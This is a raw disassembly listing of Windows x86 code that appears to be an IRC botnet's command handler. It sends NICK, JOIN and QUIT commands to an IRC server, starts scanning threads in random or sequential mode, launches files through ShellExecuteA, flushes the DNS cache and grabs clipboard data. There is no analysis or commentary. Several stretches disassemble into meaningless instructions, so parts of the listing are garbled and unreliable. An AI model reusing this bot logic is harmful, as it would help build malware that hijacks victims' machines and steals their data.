test eax, eax
pop ecx
jle loc_40E148
push edi
call sub_410A7F
cmp eax, 12Ch
pop ecx
jge loc_40E148
push esi
push offset dword_41EE48
push edi
call sub_410A7F
imul eax, 234h
pop ecx
push ds:dword_4358E4[eax]
call sub_40E321
push esi
push edi
push offset dword_42B138
jmp loc_40CB2A
; ---------------------------------------------------------------------------
loc_40CC21: ; CODE XREF: seg000:0040ADB3j
; seg000:0040ADCAj
cmp [ebp-0Ch], ebx
jz loc_40E148
push edi
push dword ptr [ebp-0Ch]
call sub_410AE0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_40E148
push esi
push offset aModeS ; "MODE %s\r\n"
push dword ptr [ebp+0Ch]
call sub_40E321
push esi
push offset dword_42B0FC
jmp loc_40D377
; ---------------------------------------------------------------------------
loc_40CC58: ; CODE XREF: seg000:0040AD85j
; seg000:0040AD9Cj
push dword ptr [ebp-9Ch]
push offset a332 ; "332"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40980B
push dword ptr [ebp+20h]
push offset dword_42B0F0
push dword ptr [ebp+0Ch]
call sub_40E321
push edi
call sub_410A7F
imul eax, 3E8h
add esp, 10h
push eax
call ds:dword_41C058 ; Sleep
push dword ptr [ebp+esi-94h]
push dword ptr [ebp+20h]
push offset aJoinSS ; "JOIN %s %s\r\n"
push dword ptr [ebp+0Ch]
call sub_40E321
push offset dword_42B0C8
call sub_407E0E
jmp loc_40D37C
; ---------------------------------------------------------------------------
loc_40CCBE: ; CODE XREF: seg000:0040AD57j
; seg000:0040AD6Ej
cmp [ebp-0Ch], ebx
jz loc_40E148
push edi
call sub_410B60
push dword ptr [ebp+18h]
mov esi, eax
call sub_410B60
add eax, [ebp-0Ch]
push dword ptr [ebp+20h]
lea eax, [eax+esi+2]
push eax
call sub_410AE0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_40E148
push esi
lea eax, [ebp-2E4h]
push offset dword_42B8CC
push eax
call sub_41050B
push ebx
lea eax, [ebp-2E4h]
push ebx
push eax
push edi
push dword ptr [ebp+0Ch]
call sub_40E367
push esi
push edi
push offset dword_42B098
call sub_407E82
add esp, 2Ch
jmp loc_40E148
; ---------------------------------------------------------------------------
loc_40CD2C: ; CODE XREF: seg000:0040AD29j
; seg000:0040AD40j
cmp [ebp-0Ch], ebx
jz loc_40E148
push edi
call sub_410B60
push dword ptr [ebp+18h]
mov esi, eax
call sub_410B60
add eax, [ebp-0Ch]
push dword ptr [ebp+20h]
lea eax, [eax+esi+2]
push eax
call sub_410AE0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_40E148
push ebx
push ebx
push esi
push edi
push dword ptr [ebp+0Ch]
call sub_40E367
push esi
push edi
push offset dword_42B068
call sub_407E82
loc_40CD7A: ; CODE XREF: seg000:0040BA03j
add esp, 20h
jmp loc_40E148
; ---------------------------------------------------------------------------
loc_40CD82: ; CODE XREF: seg000:0040ACFBj
; seg000:0040AD12j
cmp [ebp-0Ch], ebx
jz loc_40980B
push dword ptr [ebp+20h]
push dword ptr [ebp-0Ch]
call sub_410AE0
pop ecx
cmp eax, ebx
pop ecx
jz loc_40980B
push eax
push edi
call sub_407D16
push edi
lea eax, [ebp-2E4h]
push offset dword_42B038
push eax
call sub_41050B
add esp, 14h
jmp loc_40B441
; ---------------------------------------------------------------------------
loc_40CDC1: ; CODE XREF: seg000:0040ACBBj
; seg000:0040ACD2j
push edi
push dword ptr [ebp+24h]
call sub_410AE0
pop ecx
test eax, eax
pop ecx
jz loc_40E148
mov esi, [ebp+esi-98h]
cmp esi, ebx
jz short loc_40CE5E
push esi
push dword ptr [ebp-0Ch]
call sub_410AE0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_40CE46
push esi
lea eax, [ebp-2E4h]
push dword ptr [ebp-98h]
push dword ptr [ebp-9Ch]
push dword ptr [ebp-0A0h]
push offset dword_42B290
push eax
call sub_41050B
lea eax, [ebp-2E4h]
push 1FFh
push eax
push dword ptr [ebp+8]
call sub_411D00
push esi
push edi
lea eax, [ebp-2E4h]
push offset dword_42B000
push eax
call sub_41050B
add esp, 34h
inc dword ptr [ebp+2Ch]
jmp loc_40DED4
; ---------------------------------------------------------------------------
loc_40CE46: ; CODE XREF: seg000:0040CDEEj
lea eax, [ebp-2E4h]
push offset dword_42AFBC
push eax
call sub_41050B
pop ecx
pop ecx
jmp loc_40DED4
; ---------------------------------------------------------------------------
loc_40CE5E: ; CODE XREF: seg000:0040CDDDj
push ebx
lea eax, [ebp-2E4h]
push dword ptr [ebp-4]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+24h]
push eax
call sub_407C50
add esp, 0Ch
push eax
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
call sub_40E367
push edi
push offset dword_42AF90
lea eax, [ebp-2E4h]
push 200h
push eax
call sub_410A8A
add esp, 24h
jmp loc_40DED4
; ---------------------------------------------------------------------------
loc_40CEA5: ; CODE XREF: seg000:0040A9F1j
; seg000:0040AA08j
push offset aR ; "r"
push edi
call sub_411B4E
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_40CF1F
mov ebx, 200h
push esi
lea eax, [ebp-2E4h]
push ebx
push eax
call sub_41269C
add esp, 0Ch
loc_40CECE: ; CODE XREF: seg000:0040CEFDj
test eax, eax
jz short loc_40CEFF
push 1
lea eax, [ebp-2E4h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
call sub_40E367
push esi
lea eax, [ebp-2E4h]
push ebx
push eax
call sub_41269C
add esp, 20h
jmp short loc_40CECE
; ---------------------------------------------------------------------------
loc_40CEFF: ; CODE XREF: seg000:0040CED0j
push esi
call sub_4119F0
push edi
lea eax, [ebp-2E4h]
push offset dword_42AF54
push eax
call sub_41050B
add esp, 10h
jmp loc_40DED4 ; CODE XREF: seg000:0040CF95j
; ---------------------------------------------------------------------------
loc_40CF1F: ; CODE XREF: seg000:0040CEB6j
push edi
push offset dword_42AF20
loc_40CF25: ; CODE XREF: seg000:0040B3C5j
; seg000:0040C510j ...
lea eax, [ebp-2E4h]
push eax
call sub_41050B
add esp, 0Ch
jmp loc_40D0B5
; ---------------------------------------------------------------------------
loc_40CF39: ; CODE XREF: seg000:0040A9C3j
; seg000:0040A9DAj
cmp [ebp-0Ch], ebx
jz loc_40E148
push edi
push dword ptr [ebp-0Ch]
call sub_410AE0
pop ecx
cmp eax, ebx
pop ecx
jz loc_40E148
push eax
call sub_406F91
test eax, eax
pop ecx
jnz short loc_40CF6A
push offset unk_42AEF0
jmp loc_40D0A7
; ---------------------------------------------------------------------------
loc_40CF6A: ; CODE XREF: seg000:0040CF5Ej
push offset dword_42AEC0
jmp loc_40D0A7
; ---------------------------------------------------------------------------
loc_40CF74: ; CODE XREF: seg000:0040A995j
; seg000:0040A9ACj
push ebx
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
push edi
call sub_404134
push edi
push offset dword_42AE98
jmp loc_40CB2A
; ---------------------------------------------------------------------------
loc_40CF8F: ; CODE XREF: seg000:0040A967j
; seg000:0040A97Ej
push edi
call near ptr 3E0000h
jb short near ptr loc_40CF1A+2
sal byte ptr [eax+ecx+57h], 68h
push 0EB0042AEh
or ebp, [eax-8]
mov bl, 42h
add al, ch
and [edi-72AF0001h], bl
test ds:68FFFFh[edi*8], ebx
add al, [eax]
add [eax-18h], dl
int 3 ; Trap to Debugger
cmp al, [eax]
add [ebx-0F16EF3Ch], al
clc
; ---------------------------------------------------------------------------
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_40CFC6: ; CODE XREF: seg000:0040A939j
; seg000:0040A950j
push edi
call sub_410A7F
push eax
call sub_40F67C
pop ecx
pop ecx
push 1
pop esi
cmp eax, esi
push edi
jnz short loc_40CFE3
push offset dword_42AE30
jmp short loc_40CFE8
; ---------------------------------------------------------------------------
loc_40CFE3: ; CODE XREF: seg000:0040CFDAj
push offset dword_42ADE8
loc_40CFE8: ; CODE XREF: seg000:0040CFE1j
lea eax, [ebp-2E4h]
push eax
call sub_41050B
add esp, 0Ch
cmp [ebp-8], ebx
jnz loc_40C680
push ebx
lea eax, [ebp-2E4h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
call sub_40E367
add esp, 14h
jmp loc_40C680
; ---------------------------------------------------------------------------
loc_40D021: ; CODE XREF: seg000:0040A90Bj
; seg000:0040A922j
push ebx
push ebx
push edi
push dword ptr [ebp-4]
push ebx
push dword ptr [ebp+0Ch]
call loc_40F3ED
add esp, 18h
cmp eax, 1
push edi
jnz short loc_40D043
push offset dword_42ADB0
jmp loc_40C892
; ---------------------------------------------------------------------------
loc_40D043: ; CODE XREF: seg000:0040D037j
push offset dword_42AD6C
jmp loc_40C892
; ---------------------------------------------------------------------------
loc_40D04D: ; CODE XREF: seg000:0040A8DDj
; seg000:0040A8F4j
push edi
call ds:dword_4307D0 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+8], eax
jz short loc_40D087
push 2
lea eax, [ebp+8]
push 4
push eax
call ds:dword_430750 ; gethostbyaddr
cmp eax, ebx
jz short loc_40D0A2
push dword ptr [eax]
loc_40D070: ; CODE XREF: seg000:0040D0A0j
push edi
lea eax, [ebp-2E4h]
push offset dword_42AD3C
push eax
call sub_41050B
add esp, 10h
jmp short loc_40D0B5
; ---------------------------------------------------------------------------
loc_40D087: ; CODE XREF: seg000:0040D05Aj
push edi
call ds:dword_430814 ; gethostbyname
cmp eax, ebx
jz short loc_40D0A2
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call ds:dword_43081C ; inet_ntoa
push eax
jmp short loc_40D070
; ---------------------------------------------------------------------------
loc_40D0A2: ; CODE XREF: seg000:0040D06Cj
; seg000:0040D090j
push offset dword_42AD00
loc_40D0A7: ; CODE XREF: seg000:0040AA3Aj
; seg000:0040AABEj ...
lea eax, [ebp-2E4h]
push eax
call sub_41050B
pop ecx
pop ecx
loc_40D0B5: ; CODE XREF: seg000:0040AA42j
; seg000:0040AA9Cj ...
cmp [ebp-8], ebx
jnz loc_40DED4
push ebx
lea eax, [ebp-2E4h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
call sub_40E367
add esp, 14h
jmp loc_40DED4
; ---------------------------------------------------------------------------
loc_40D0DF: ; CODE XREF: seg000:0040A8AFj
; seg000:0040A8C6j
push 7Fh
push edi
push dword ptr [ebp+1Ch]
call sub_411D00
push edi
lea eax, [ebp-2E4h]
push offset dword_42ACC8
push eax
call sub_41050B
add esp, 18h
jmp loc_40C65C
; ---------------------------------------------------------------------------
loc_40D104: ; CODE XREF: seg000:0040A881j
; seg000:loc_40A898j
push 5
push ebx
push ebx
push edi
push offset aOpen ; "open"
push ebx
call ds:dword_430714 ; ShellExecuteA
test eax, eax
push edi
jz short loc_40D124
push offset unk_42AC98
jmp loc_40C892
; ---------------------------------------------------------------------------
loc_40D124: ; CODE XREF: seg000:0040D118j
push offset unk_42AC60
jmp loc_40C892
; ---------------------------------------------------------------------------
loc_40D12E: ; CODE XREF: seg000:0040A853j
; seg000:0040A86Aj
mov al, [edi]
mov ds:byte_42300C, al
movsx eax, byte ptr [edi]
push eax
push offset dword_42AC28
jmp loc_40E0C5
; ---------------------------------------------------------------------------
loc_40D143: ; CODE XREF: seg000:0040A825j
; seg000:0040A83Cj
push edi
call sub_410A7F
test eax, eax
pop ecx
jle loc_40E148
push edi
call sub_410A7F
cmp eax, 12Ch
pop ecx
jge loc_40E148
push ebx
push ebx
lea eax, [ebp-20h]
push 2
push eax
call sub_40FA4E
push eax
lea eax, [ebp-2E4h]
push offset dword_42B1D0
push eax
call sub_41050B
add esp, 1Ch
jmp loc_40CA77
; ---------------------------------------------------------------------------
loc_40D18B: ; CODE XREF: seg000:0040A7F7j
; seg000:0040A80Ej
push edi
call sub_410A7F
test eax, eax
pop ecx
jle loc_40980B
push edi
call sub_410A7F
cmp eax, 12Ch
pop ecx
jge loc_40980B
push offset aQuitLater ; "QUIT :later\r\n"
push edi
call sub_410A7F
imul eax, 234h
pop ecx
push ds:dword_4358E4[eax]
call sub_40E321
pop ecx
pop ecx
push 1F4h
call ds:dword_41C058 ; Sleep
push edi
call sub_410A7F
imul eax, 234h
pop ecx
push ds:dword_4358E4[eax]
call ds:dword_430828 ; closesocket
push dword ptr [ebp-10h]
push edi
call sub_410A7F
imul eax, 234h
pop ecx
push ds:dword_4358EC[eax]
call near ptr 3E0000h
in al, 57h
call sub_410A7F
imul eax, 234h
push edi
mov ds:dword_4358EC[eax], ebx
call sub_410A7F
imul eax, 234h
pop ecx
pop ecx
mov byte ptr ds:dword_4356D8[eax], bl
jmp loc_40980B
; ---------------------------------------------------------------------------
loc_40D236: ; CODE XREF: seg000:0040A7C9j
; seg000:0040A7E0j
push edi
push offset aAll ; "all"
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_40D265
call sub_410180
cmp eax, ebx
jle short loc_40D25B
push eax
push offset dword_42ABD8
jmp loc_40B432
; ---------------------------------------------------------------------------
loc_40D25B: ; CODE XREF: seg000:0040D24Ej
push offset dword_42AB9C
jmp loc_40D67E
; ---------------------------------------------------------------------------
loc_40D265: ; CODE XREF: seg000:0040D245j
mov eax, [ebp-0ACh]
lea edi, [eax+1]
cmp edi, 20h
jnb loc_40980B
lea eax, [ebp+edi*4-0A0h]
mov [ebp+2Ch], eax
loc_40D281: ; CODE XREF: seg000:0040D2F2j
mov eax, [ebp+2Ch]
mov esi, [eax]
cmp esi, ebx
jz loc_40980B
push esi
call sub_410A7F
push eax
call sub_4100F2
pop ecx
pop ecx
test eax, eax
push esi
jz short loc_40D2A8
push offset dword_42AB64
jmp short loc_40D2AD
; ---------------------------------------------------------------------------
loc_40D2A8: ; CODE XREF: seg000:0040D29Fj
push offset dword_42AB24
loc_40D2AD: ; CODE XREF: seg000:0040D2A6j
lea eax, [ebp-2E4h]
push eax
call sub_41050B
add esp, 0Ch
cmp [ebp-8], ebx
jnz short loc_40D2DD
push ebx
lea eax, [ebp-2E4h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
call sub_40E367
add esp, 14h
loc_40D2DD: ; CODE XREF: seg000:0040D2BFj
lea eax, [ebp-2E4h]
push eax
call sub_407E0E
add dword ptr [ebp+2Ch], 4
inc edi
cmp edi, 20h
pop ecx
jb short loc_40D281
jmp loc_40980B
; ---------------------------------------------------------------------------
loc_40D2F9: ; CODE XREF: seg000:0040A79Bj
; seg000:0040A7B2j
cmp [ebp-0Ch], ebx
jz loc_40E148
push edi
push dword ptr [ebp-0Ch]
call sub_410AE0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_40E148
push esi
push offset dword_41EE48
push dword ptr [ebp+0Ch]
call sub_40E321
push esi
push offset dword_42AAF8
jmp short loc_40D377
; ---------------------------------------------------------------------------
loc_40D32D: ; CODE XREF: seg000:0040A76Dj
; seg000:0040A784j
push edi
push offset dword_42B0F0
push dword ptr [ebp+0Ch]
call sub_40E321
push edi
push offset dword_42AAC4
jmp short loc_40D377
; ---------------------------------------------------------------------------
loc_40D343: ; CODE XREF: seg000:0040A73Fj
; seg000:0040A756j
push dword ptr [ebp+esi-98h]
push edi
push offset aJoinSS ; "JOIN %s %s\r\n"
push dword ptr [ebp+0Ch]
call sub_40E321
push edi
push offset dword_42AA90
jmp loc_40CB2A
; ---------------------------------------------------------------------------
loc_40D363: ; CODE XREF: seg000:0040A711j
; seg000:0040A728j
push edi
push offset aNickS ; "NICK %s\r\n"
push dword ptr [ebp+0Ch]
call sub_40E321
push edi
push offset dword_42AA58
loc_40D377: ; CODE XREF: seg000:0040CC53j
; seg000:0040D32Bj ...
call sub_407E82
loc_40D37C: ; CODE XREF: seg000:0040CCB9j
add esp, 14h
jmp loc_40E148
; ---------------------------------------------------------------------------
loc_40D384: ; CODE XREF: seg000:0040A6D6j
; seg000:0040A6EBj
mov al, ds:byte_420082
mov [ebp+8], ebx
cmp al, bl
mov edx, offset byte_420082
jz loc_40980B
mov ecx, edx
loc_40D39B: ; CODE XREF: seg000:0040D3A3j
inc dword ptr [ebp+8]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_40D39B
cmp al, bl
jz loc_40980B
mov [ebp+20h], edx
loc_40D3B0: ; CODE XREF: seg000:0040D66Ej
push 8
call sub_4101FF
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv dword ptr [ebp+8]
add eax, ecx
cmp eax, 12Ch
jle short loc_40D3FF
push ecx
lea eax, [ebp-2E4h]
push offset dword_42B9FC
push eax
call sub_41050B
push ebx
lea eax, [ebp-2E4h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
call sub_40E367
add esp, 20h
jmp loc_40D665
; ---------------------------------------------------------------------------
loc_40D3FF: ; CODE XREF: seg000:0040D3CAj
or dword ptr [ebp-300h], 0FFFFFFFFh
cmp ds:dword_41FFE8, ebx
mov dword ptr [ebp-304h], 64h
mov dword ptr [ebp-318h], 5
mov dword ptr [ebp-314h], 1F4h
mov [ebp+8], ebx
jz short loc_40D470
mov eax, [ebp+20h]
mov edi, offset dword_41FFE8
lea esi, [eax-0Ah]
loc_40D43A: ; CODE XREF: seg000:0040D452j
lea eax, [edi-28h]
push esi
push eax
call sub_410930
pop ecx
test eax, eax
pop ecx
jz short loc_40D456
inc dword ptr [ebp+8]
add edi, 3Ch
cmp [edi], ebx
jnz short loc_40D43A
jmp short loc_40D470
; ---------------------------------------------------------------------------
loc_40D456: ; CODE XREF: seg000:0040D448j
mov eax, [ebp+8]
mov ecx, eax
mov [ebp-300h], eax
imul ecx, 3Ch
mov ecx, ds:dword_41FFE8[ecx]
mov [ebp-31Ch], ecx
loc_40D470: ; CODE XREF: seg000:0040D42Dj
; seg000:0040D454j
cmp [ebp-31Ch], ebx
jz loc_40D679
push 10h
lea eax, [ebp+18h]
pop esi
push eax
lea eax, [ebp-0D8h]
push eax
mov [ebp+18h], esi
push dword ptr [ebp+0Ch]
call ds:dword_43073C ; getsockname
mov al, [ebp-9B3h]
push esi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp-0D4h], eax
push dword ptr [ebp-0D4h]
call ds:dword_43081C ; inet_ntoa
push eax
lea eax, [ebp-430h]
push eax
call sub_411D00
xor eax, eax
cmp [ebp-9B3h], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp-430h]
push eax
call sub_412000
add esp, 14h
cmp edi, ebx
mov [ebp+2Fh], bl
jle short loc_40D512
loc_40D4F0: ; CODE XREF: seg000:0040D510j
cmp eax, ebx
jz short loc_40D512
mov byte ptr [eax], 78h
lea eax, [ebp-430h]
push 30h
push eax
call sub_412000
inc byte ptr [ebp+2Fh]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+2Fh]
cmp ecx, edi
jl short loc_40D4F0
loc_40D512: ; CODE XREF: seg000:0040D4EEj
; seg000:0040D4F2j
mov eax, [ebp+0Ch]
push dword ptr [ebp-98h]
mov esi, [ebp-4]
mov [ebp-320h], eax
mov eax, [ebp-8]
mov edi, 80h
mov [ebp-2F4h], eax
lea eax, [ebp-420h]
push edi
push eax
mov dword ptr [ebp-2F0h], 1
mov [ebp-2F8h], esi
call sub_410A8A
push offset dword_42F3E8
push offset dword_4230B4
call sub_410930
add esp, 14h
test eax, eax
jz short loc_40D57C
push offset dword_4230B4
lea eax, [ebp-3A0h]
push edi
push eax
call sub_410A8A
add esp, 0Ch
jmp short loc_40D582
; ---------------------------------------------------------------------------
loc_40D57C: ; CODE XREF: seg000:0040D563j
mov [ebp-3A0h], bl
loc_40D582: ; CODE XREF: seg000:0040D57Aj
cmp [ebp-2F0h], ebx
mov eax, offset aRandom_0 ; "Random"
jnz short loc_40D594
mov eax, offset aSequential ; "Sequential"
loc_40D594: ; CODE XREF: seg000:0040D58Dj
push dword ptr [ebp-304h]
lea ecx, [ebp-430h]
push dword ptr [ebp-314h]
push dword ptr [ebp-318h]
push dword ptr [ebp-31Ch]
push ecx
push eax
lea eax, [ebp-2E4h]
push offset dword_42A9DC
push eax
call sub_41050B
push ebx
lea eax, [ebp-2E4h]
push 8
push eax
call sub_40FFB7
add esp, 2Ch
mov [ebp-310h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-430h]
push ebx
push eax
push 405723h
push ebx
push ebx
call ds:dword_41C06C ; CreateThread
mov ecx, [ebp-310h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4358EC[ecx], eax
jz short loc_40D61E
loc_40D60C: ; CODE XREF: seg000:0040D61Cj
cmp [ebp-2ECh], ebx
jnz short loc_40D639
push 32h
call ds:dword_41C058 ; Sleep
jmp short loc_40D60C
; ---------------------------------------------------------------------------
loc_40D61E: ; CODE XREF: seg000:0040D60Aj
call ds:dword_41C068 ; RtlGetLastWin32Error
push eax
lea eax, [ebp-2E4h]
push offset dword_42B8D8
push eax
call sub_41050B
add esp, 0Ch
loc_40D639: ; CODE XREF: seg000:0040D612j
cmp [ebp-8], ebx
jnz short loc_40D658
push ebx
lea eax, [ebp-2E4h]
push esi
push eax
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
call sub_40E367
add esp, 14h
loc_40D658: ; CODE XREF: seg000:0040D63Cj
lea eax, [ebp-2E4h]
push eax
call sub_407E0E
pop ecx
loc_40D665: ; CODE XREF: seg000:0040D3FAj
add dword ptr [ebp+20h], 0Bh
mov eax, [ebp+20h]
cmp [eax], bl
jnz loc_40D3B0
jmp loc_40980B
; ---------------------------------------------------------------------------
loc_40D679: ; CODE XREF: seg000:0040BACAj
; seg000:0040D476j
push offset dword_42A990
loc_40D67E: ; CODE XREF: seg000:0040B62Dj
; seg000:0040B75Dj ...
lea eax, [ebp-2E4h]
push eax
call sub_41050B
pop ecx
pop ecx
jmp loc_40B441
; ---------------------------------------------------------------------------
loc_40D691: ; CODE XREF: seg000:0040A6ACj
; seg000:0040A6C1j
push 4
call sub_4101FF
test eax, eax
pop ecx
jle short loc_40D6B5
lea eax, [ebp-2E4h]
push offset unk_42A95C
push eax
call sub_41050B
pop ecx
pop ecx
jmp loc_40C65C
; ---------------------------------------------------------------------------
loc_40D6B5: ; CODE XREF: seg000:0040D69Bj
mov eax, [ebp+esi-9Ch]
cmp eax, ebx
jz short loc_40D6D8
push eax
mov edi, 104h
lea eax, [ebp-804h]
push edi
push eax
call sub_410A8A
add esp, 0Ch
jmp short loc_40D6EC
; ---------------------------------------------------------------------------
loc_40D6D8: ; CODE XREF: seg000:0040D6BEj
mov edi, 104h
lea eax, [ebp-804h]
push edi
push eax
push ebx
call near ptr 3E0000h
push es
loc_40D6EC: ; CODE XREF: seg000:0040D6D6j
mov esi, [ebp+esi-98h]
cmp esi, ebx
jnz short loc_40D6FC
mov esi, offset byte_423068
loc_40D6FC: ; CODE XREF: seg000:0040D6F5j
push esi
lea eax, [ebp-700h]
push edi
push eax
call sub_410A8A
mov eax, ds:dword_422FF8
push 7Fh
push dword ptr [ebp-98h]
mov [ebp-5F4h], eax
mov eax, [ebp+0Ch]
mov [ebp-5F8h], ebx
mov [ebp-808h], eax
lea eax, [ebp-5F0h]
push eax
call sub_411D00
mov eax, [ebp-4]
mov [ebp-570h], eax
mov eax, [ebp-8]
mov [ebp-56Ch], eax
lea eax, [ebp-700h]
push eax
lea eax, [ebp-804h]
push eax
lea eax, [ebp-2E4h]
push dword ptr [ebp-5F4h]
push offset unk_4202D4
push eax
call sub_41050B
push ebx
lea eax, [ebp-2E4h]
push 4
push eax
call sub_40FFB7
add esp, 38h
mov [ebp-5FCh], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-808h]
push ebx
push eax
push offset loc_4049C2
push ebx
push ebx
call ds:dword_41C06C ; CreateThread
mov ecx, [ebp-5FCh]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4358EC[ecx], eax
jz short loc_40D7CC
loc_40D7B6: ; CODE XREF: seg000:0040D7CAj
cmp [ebp-568h], ebx
jnz loc_40C65C
push 32h
call ds:dword_41C058 ; Sleep
jmp short loc_40D7B6
; ---------------------------------------------------------------------------
loc_40D7CC: ; CODE XREF: seg000:0040D7B4j
call ds:dword_41C068 ; RtlGetLastWin32Error
push eax
push offset unk_42A910
jmp loc_40E0C5
; ---------------------------------------------------------------------------
loc_40D7DD: ; CODE XREF: seg000:0040A682j
; seg000:0040A697j
mov edi, [ebp+esi-9Ch]
cmp edi, ebx
jz short loc_40D7FC
push edi
call sub_410A7F
test eax, eax
pop ecx
jz short loc_40D7FC
push edi
call sub_410A7F
pop ecx
jmp short loc_40D801
; ---------------------------------------------------------------------------
loc_40D7FC: ; CODE XREF: seg000:0040D7E6j
; seg000:0040D7F1j
mov eax, ds:dword_422FFC
loc_40D801: ; CODE XREF: seg000:0040D7FAj
mov esi, [ebp+esi-98h]
mov [ebp-584h], eax
xor eax, eax
cmp [ebp-9B0h], bl
setz al
cmp esi, ebx
mov [ebp-570h], eax
jz short loc_40D834
lea eax, [ebp-688h]
push esi
push eax
call sub_41050B
pop ecx
pop ecx
jmp short loc_40D85F
; ---------------------------------------------------------------------------
loc_40D834: ; CODE XREF: seg000:0040D821j
lea eax, [ebp-3E8h]
push 104h
push eax
call near ptr 3E0000h
and edx, [ebx+53h]
lea eax, [ebp-0D4h]
push ebx
push eax
lea eax, [ebp-3E8h]
push eax
call sub_4121E8
add esp, 14h
loc_40D85F: ; CODE XREF: seg000:0040D832j
lea eax, [ebp-688h]
push eax
call sub_410B60
cmp byte ptr [ebp+eax-689h], 5Ch
pop ecx
jnz short loc_40D88A
lea eax, [ebp-688h]
push eax
call sub_410B60
pop ecx
mov [ebp+eax-689h], bl
loc_40D88A: ; CODE XREF: seg000:0040D874j
push dword ptr [ebp-98h]
mov esi, [ebp+0Ch]
lea eax, [ebp-910h]
mov [ebp-914h], esi
push 80h
push eax
call sub_410A8A
mov eax, [ebp-8]
mov edi, [ebp-4]
add esp, 0Ch
mov [ebp-574h], eax
lea eax, [ebp-688h]
mov [ebp-578h], edi
push eax
push dword ptr [ebp-584h]
push esi
call sub_407435
pop ecx
push eax
lea eax, [ebp-2E4h]
push offset unk_4201A4
push eax
call sub_41050B
push ebx
lea eax, [ebp-2E4h]
push 3
push eax
call sub_40FFB7
add esp, 20h
mov [ebp-57Ch], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-914h]
push ebx
push eax
push offset sub_4038A7
push ebx
push ebx
call ds:dword_41C06C ; CreateThread
mov ecx, [ebp-57Ch]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4358EC[ecx], eax
jz short loc_40D93E
loc_40D92C: ; CODE XREF: seg000:0040D93Cj
cmp [ebp-568h], ebx
jnz short loc_40D959
push 32h
call ds:dword_41C058 ; Sleep
jmp short loc_40D92C
; ---------------------------------------------------------------------------
loc_40D93E: ; CODE XREF: seg000:0040D92Aj
call ds:dword_41C068 ; RtlGetLastWin32Error
push eax
push offset unk_42A8C4
loc_40D94A: ; CODE XREF: seg000:0040BFE7j
; seg000:0040C0E1j
lea eax, [ebp-2E4h]
push eax
call sub_41050B
add esp, 0Ch
loc_40D959: ; CODE XREF: seg000:0040BFCBj
; seg000:0040C0C5j ...
cmp [ebp-8], ebx
jnz loc_40B462
push ebx
push edi
loc_40D964: ; CODE XREF: seg000:0040B890j
lea eax, [ebp-2E4h]
push eax
push dword ptr [ebp-98h]
push esi
jmp loc_40B45A
; ---------------------------------------------------------------------------
loc_40D977: ; CODE XREF: seg000:0040A658j
; seg000:0040A66Dj
mov esi, [ebp+esi-9Ch]
cmp esi, ebx
jz short loc_40D98A
push esi
call sub_410A7F
jmp short loc_40D991
; ---------------------------------------------------------------------------
loc_40D98A: ; CODE XREF: seg000:0040D980j
push 8
call sub_41021E
loc_40D991: ; CODE XREF: seg000:0040D988j
cmp eax, ebx
pop ecx
jz loc_40E148
push eax
push dword ptr [ebp-4]
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
call sub_404F83
jmp loc_40DDE7
; ---------------------------------------------------------------------------
loc_40D9B1: ; CODE XREF: seg000:0040A62Ej
; seg000:0040A643j
mov eax, ds:dword_4306CC
cmp eax, ebx
jz short loc_40D9CE
call eax ; DnsFlushResolverCache
test eax, eax
jz short loc_40D9C7
push offset unk_42A88C
jmp short loc_40D9EA
; ---------------------------------------------------------------------------
loc_40D9C7: ; CODE XREF: seg000:0040D9BEj
push offset unk_42A84C
jmp short loc_40D9EA
; ---------------------------------------------------------------------------
loc_40D9CE: ; CODE XREF: seg000:0040D9B8j
push offset unk_42A80C
jmp short loc_40D9EA
; ---------------------------------------------------------------------------
loc_40D9D5: ; CODE XREF: seg000:0040A604j
; seg000:0040A619j
call sub_407357
test eax, eax
jz short loc_40D9E5
push offset unk_42A7D4
jmp short loc_40D9EA
; ---------------------------------------------------------------------------
loc_40D9E5: ; CODE XREF: seg000:0040D9DCj
push offset unk_42A794
loc_40D9EA: ; CODE XREF: seg000:0040D9C5j
; seg000:0040D9CCj ...
lea eax, [ebp-2E4h]
push 200h
push eax
call sub_410A8A
jmp loc_40C89E
; ---------------------------------------------------------------------------
loc_40DA00: ; CODE XREF: seg000:0040A5DAj
; seg000:0040A5EFj
cmp [ebp-8], ebx
jnz short loc_40DA1F
push ebx
push dword ptr [ebp-4]
push offset aClipboardData ; "-[Clipboard Data]-"
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
call sub_40E367
add esp, 14h
loc_40DA1F: ; CODE XREF: seg000:0040DA03j
push ebx
push dword ptr [ebp-4]
call sub_406F56
push eax
